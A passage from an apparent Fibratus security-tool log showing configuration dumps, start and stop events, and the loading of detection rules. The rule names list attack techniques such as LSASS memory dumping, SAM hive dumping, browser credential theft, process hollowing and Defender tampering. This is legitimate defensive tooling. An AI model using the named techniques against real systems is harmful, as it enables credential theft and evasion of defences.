bulk-workers=>1 servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] http=>[ serializer=>json endpoints=>[] timeout=>5s enabled=>false method=>POST tls-insecure-skip-verify=>false enable-gzip=>false] amqp=>[ timeout=>5s exchange-type=>topic passive=>false enabled=>false vhost=>/ exchange=>fibratus durable=>false routing-key=>fibratus tls-insecure-skip-verify=>false url=>amqp://localhost:5672 delivery-mode=>transient] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-procs=>[] excluded-files=>[] enabled=>false scan-timeout=>10s fastscan=>true skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false skip-registry=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-04T17:02:40+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T17:02:42+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T17:03:12+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T17:03:13+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T17:03:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T17:06:06+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_suspicious_child_process_integrity_level.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T17:06:06+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T17:06:06+01:00 level=info msg=bootstrapping with pid 18208. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T17:06:07+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ port=>25 to=>[] use-template=>true content-type=>text/html enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-audit-api=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false buffer-size=>512 max-buffers=>36 stack-enrichment=>true flush-interval=>1s enable-mem=>false enable-registry=>true min-buffers=>16 enable-vamap=>true enable-image=>true enable-thread=>true enable-threadpool=>false enable-fileio=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-age=>0 max-backups=>15 level=>info formatter=>text max-size=>100] + output ......................... [ amqp=>[ exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s durable=>false vhost=>/ exchange=>fibratus routing-key=>fibratus passive=>false url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false] eventlog=>[ enabled=>false level=>info] http=>[ enable-gzip=>false timeout=>5s tls-insecure-skip-verify=>false serializer=>json method=>POST endpoints=>[] enabled=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] elasticsearch=>[ trace-log=>false timeout=>5s healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s enabled=>false gzip-compression=>false bulk-workers=>1 healthcheck=>true flush-period=>1s index-name=>fibratus template-name=>fibratus sniff=>false]] + pe ............................. [ read-symbols=>false read-resources=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ skip-registry=>false scan-timeout=>10s enabled=>false excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false skip-files=>false skip-allocs=>false fastscan=>true excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-04T17:06:07+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T17:06:09+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T17:06:10+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T17:06:10+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T17:06:10+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T19:38:31+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T19:38:31+01:00 level=info msg=loading rule from 